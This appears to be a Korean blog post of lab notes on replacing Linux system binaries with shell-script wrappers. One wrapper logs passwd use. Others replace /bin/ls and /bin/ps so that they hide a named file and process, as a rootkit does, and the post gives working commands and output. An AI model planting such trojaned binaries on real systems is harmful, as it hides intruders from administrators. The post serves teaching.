기존 프로그램을 대치하는 프로그램(쉘 스크립트)
기존의 프로그램을 대치하는 프로그램
=> 목적-백도어같은 프로그램이 실행되어있는지 알 수 없도록
좋은용도/나쁜용도
(linux200)
(목적) 좋은 용도(EX: /usr/bin/passwd)
/usr/bin/passwd
/usr/bin/passwd 명령어를 사용할 때 누가(id CMD)/언제(data CMD) 실행했는지
별도의 로그 파일에 기록할 수 있는가?
# vi /root/bin/passwd
#!/bin/bash
id >> /test/passwd.log date >> /test/passwd.log echo >> /test/passwd.log
/usr/bin/passwd.old $* /* # mv /usr/bin/passwd /usr/bin/passwd.old */ |
$* 인자 전체를 나타낸다.
# touch /test/passwd.log
# chmod 777 /test/passwd.log /* 테스트용 퍼미션 */
# chmod 755 /root/bin/passwd
# mv /usr/bin/passwd /usr/bin/passwd.old
# cp /root/bin/passwd /usr/bin/passwd
# passwd user01
관리자가 passwd user01을 치면 /root/bin/passwd에 적은 것을 실행하고 실행하기 때문에 사용자는 모르고
Changing password for user user01. New UNIX password: (user01) BAD PASSWORD: it is based on a dictionary word Retype new UNIX password: (user01) passwd: all authentication tokens updated successfully. |
-> 관리자의 암호 변경
# cat /test/passwd.log
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Tue Dec 23 11:20:39 KST 2014
|
(복원작업)
# mv /usr/bin/passwd.old /usr/bin/passwd
==============================================================================
(목적) 악의적인 용도(EX: /bin/ls)
■ /bin/ls(Orignal program) ==== 교체 ====> /bin/ls(Hacker's program)
# ls
-> 내가 설치한 프로그램은 안보이도록 설정
-> 파일 이름: hacker_file
■ /bin/ps(Orignal program) ==== 교체 ====> /bin/ps(Hacker's program)
# ps -ef
-> 자신이 띄운 프로세스는 안보이도록 설정
-> 프로세스 이름: hacker_process
[실습] ls 명령어 실습
# vi /root/bin/ls
#!/bin/bash
/bin/ls $* | grep -v hacker_file |
=> v옵션을 통해 hacker_file을 제외시킨다.
# chmod 755 /root/bin/ls
# cd /test
# touch hacker_file
# /root/bin/ls
dir1 file1 passwd.log |
-> hacker_file 파일이 보이는가?
# /bin/ls
dir1 file1 hacker_file passwd.log |
-> hacker_file 파일이 보이는가?
# /root/bin/ls -altr
-rw-r--r-- 1 root root 0 Dec 22 12:28 file1 drwxr-xr-x 2 root root 4096 Dec 22 12:28 dir1 drwxr-xr-x 26 root root 4096 Dec 23 09:44 .. -rw-r--r-- 1 root root 118 Dec 23 11:20 passwd.log drwxr-xr-x 3 root root 4096 Dec 23 11:29 . |
=> 대치시키지 않아서 적용은 안되지만 /root/bin/ls를 사용하면 볼 수 없는걸 알 수 있다.
# /root/bin/ls /root/bin/*.sh
/root/bin/add_userlist.sh /root/bin/arp.sh /root/bin/auto_ftp2.sh /root/bin/auto_ftp.sh /root/bin/auto_telnet_ftp.sh /root/bin/banner_telnet.sh /root/bin/bomb_exec.sh /root/bin/bomb.sh .... (중략) .... |
■ /bin/ls(Orignal program) ==== 교체 ====> /root/bin/ls(Hacker's program)
# cp /bin/ls /bin/ls.old
# cp /root/bin/ls /bin/ls
# vi /bin/ls
/bin/ls.old $* | grep -v hacker_file
[실습] ps 명령어 실습
[TERM1] 명령어1 터미널
# vi /root/bin/ps
#!/bin/bash
/bin/ps "$*" | egrep -v hacker_process |
# chmod 755 /root/bin/ps
# cd /test
# vi hacker_process
#!/bin/bash
sleep 86400 |
# chmod 755 hacker_process
# ./hacker_process
[TERM2] 명령어2 터미널
# /root/bin/ps -ef | grep hacker_process
#
-> hacker_process 프로세스가 보이는가?
# /bin/ps -ef | grep hacker_process
root 6290 5983 0 11:36 pts/1 00:00:00 /bin/bash ./hacker_process |
-> hacker_process 프로세스가 보이는가?
■ /bin/ps(Orignal program) ==== 교체 ====> /root/bin/ps(Hacker's program)
# cp /bin/ps /bin/ps.old
# cp /root/bin/ps /bin/ps
# vi /bin/ps
/bin/ps.old "$*" | egrep -v hacker_process
'Learning > └◆Shell Scripts' 카테고리의 다른 글
쉘코드 만들기 강좌 (0) | 2017.01.30 |
---|---|
[System Hacking] 윈도우 취약점 체크리스트 & 안전진단 스크립트 제작 (0) | 2017.01.29 |
searchspolit.sh 스크립트 작성 (0) | 2017.01.09 |
MAC 충돌 점검 프로그램 작성 (0) | 2017.01.07 |